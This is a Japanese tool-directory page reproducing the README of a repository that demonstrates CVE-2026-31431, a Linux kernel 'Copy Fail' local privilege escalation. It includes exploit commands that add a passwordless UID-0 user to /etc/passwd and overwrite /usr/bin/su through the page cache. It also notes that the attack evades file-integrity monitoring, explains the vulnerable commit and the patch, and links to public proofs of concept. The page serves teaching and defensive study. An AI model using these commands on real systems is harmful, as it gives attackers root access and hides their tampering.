Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — CVE-2026-31431のデモと解説 | Kitploit
ツール/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

CVE-2026-31431のデモと解説

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
2ヶ月前未レビュー

CVE-2026-31431 CopyFail Linux ローカル権限昇格

CVE-2026-31431、Linux カーネルの Copy Fail ローカル権限昇格の脆弱性のデモと解説です。この脆弱性により、読み取り権限で開かれたファイルのデータがページキャッシュ内で上書きされる可能性があります。

このリポジトリは教育目的のみであり、管理された環境で脆弱性を示しています。 含まれるファイルは次のとおりです:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

はじめに

Copy Fail と名付けられたこの脆弱性は、algif_aead の論理的な欠陥により、2017年から2026年までの Linux カーネルに存在します。CVE-2026-31431 に割り当てられ、CVSS スコアは 7.8 で、深刻度は高と評価されています。このエクスプロイトは決定的に動作し、従来のファイル整合性監視ツールを回避できます。

Proof of Concept は C、Python、Go などさまざまな言語で公開されていますが、このデモでは Python を使用しており、Python バージョン 3.10 以上が必要です。 このエクスプロイトは、低権限ユーザーとしてのローカルコード実行を必要とし、ローカル権限昇格に使用できます。

以下のセクションは次のとおりです:

  • 悪用: エクスプロイトのデモと、root 権限を取得するためにどのように使用できるか。
  • 悪用の検出に関する注意: 従来のファイル整合性監視ツールでこのエクスプロイトを検出することが難しい理由の説明。
  • 脆弱性: 脆弱性を導入したコミットへのリンクと問題の説明。
  • パッチ: 脆弱性を修正したコミットへのリンクと修正内容の説明。
  • 関連リソース: さらに読むためのリソースと、さまざまな言語でのエクスプロイト実装のリスト。

悪用

セットアップ

Vagrant と QEMU がインストールされていることを確認してください。次に、このリポジトリをクローンし、プロジェクトディレクトリに移動します。

root@kitploit:~
vagrant up
vagrant ssh

VM 内で、自分の権限の限界をテストできます。

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

明らかに権限は制限されていますが、この脆弱性を使用して権限を昇格できます。

悪用デモ 1: エクスプロイトを理解する

脆弱性を理解するために、ダミーファイルを上書きして何が起こるか見てみましょう。

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

3行のファイルがあります。1行目は6バイト(改行を含む)、2行目は2バイト、3行目は1バイトです。これは重要です。エクスプロイトは4バイト単位でデータを上書きするため、ペイロードをパディングして4バイト単位に揃えます。

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

ファイルの最初の8バイトがペイロードに置き換えられていることがわかります。そこには2つの文字がありますが、表示可能な文字ではありません。nano でファイルを開いて確認してください。しかし、これはあまり面白くないので、書き込み権限のないファイルへの書き込みに進みましょう。

悪用デモ 2: root パスワードの削除

/etc/passwd の内容を上書きして、root 権限を持つがパスワードのないユーザーを追加できます。

root@kitploit:~
cat /etc/passwd

最初の行には root ユーザーが含まれており、4文字のグループが8つ(改行を含む)あります。フォーマットは次のとおりです root:x:0:0:root:/root:/bin/bash。各値は、ユーザー名、パスワード、UID、GID、ホームディレクトリ、シェルを指します。

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

UID 0 と GID 0 を持つ新しいユーザー hackd を追加しました。これは root 権限を持つことを意味します。パスワードフィールドは空なので、パスワードなしでログインできます。

root@kitploit:~
su hackd
id
cat /etc/shadow

悪用デモ 3: 実行可能ファイルの上書き

元のエクスプロイトでは、/usr/bin/su バイナリがシェルを実行する命令で上書きされ、攻撃者が su を実行したときに root 権限を取得できるようになります。このエクスプロイトは、ファイルから元のペイロードを使用して /usr/bin/su をターゲットにすることで再現できます。これにより、ページキャッシュ内の su バイナリが破壊されることに注意してください。

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

ペイロードが配置された状態で su を実行すると、root 権限を取得できます。これにより、ユーザー ID 0 のシェルが開きます。通常は root ユーザーですが、上記のデモを実行した場合は、作成した hackd ユーザーになります。このエクスプロイトは、root ユーザーにパスワードが設定されている場合でもシェルを開きます。

root@kitploit:~
su
id

悪用の検出に関する注意

このエクスプロイトはディスク上のファイルを変更するのではなく、ページキャッシュの状態を変更します。そのため、ディスク上のファイルの変更をチェックする従来のファイル整合性監視ツールは、このエクスプロイトを検出できません。

これを示すために、上記のエクスプロイトを実行し、VM を再起動した後に対象ファイルの内容を確認してください。

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

脆弱性

エクスプロイトでは以下のコンポーネントが使用されます:

  1. splice
    • ファイルディスクリプタ間でデータをコピーせずに渡す
    • スプライスされたメッセージを変更すると、ページキャッシュも変更される
  2. recvmsg
    • パイプされた情報を受け取り、暗号操作のためにデータをバッファに移動する
    • 入力の AD と CT はコピーされ、TAG は参照として渡される AD||CT||TAG
  3. authensc
    • AD と CT のみが変更されるという前提があるが、authensc はこれを破る
    • AD は seqno_hi と seqno_lo に分割され、authensc は TAG の後にコピーすることでそれらの順序をその場で入れ替える
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • このシーケンスは参照位置にコピーされる

この脆弱性を生み出したインプレース最適化を可能にしたコミット:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

パッチ

パッチは公のアナウンスなしに行われ、algif_aead のインプレース操作の機能を削除します:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

関連リソース

詳細情報:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Python 実装

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

C 実装

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

Go 実装

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
ツールをダウンロード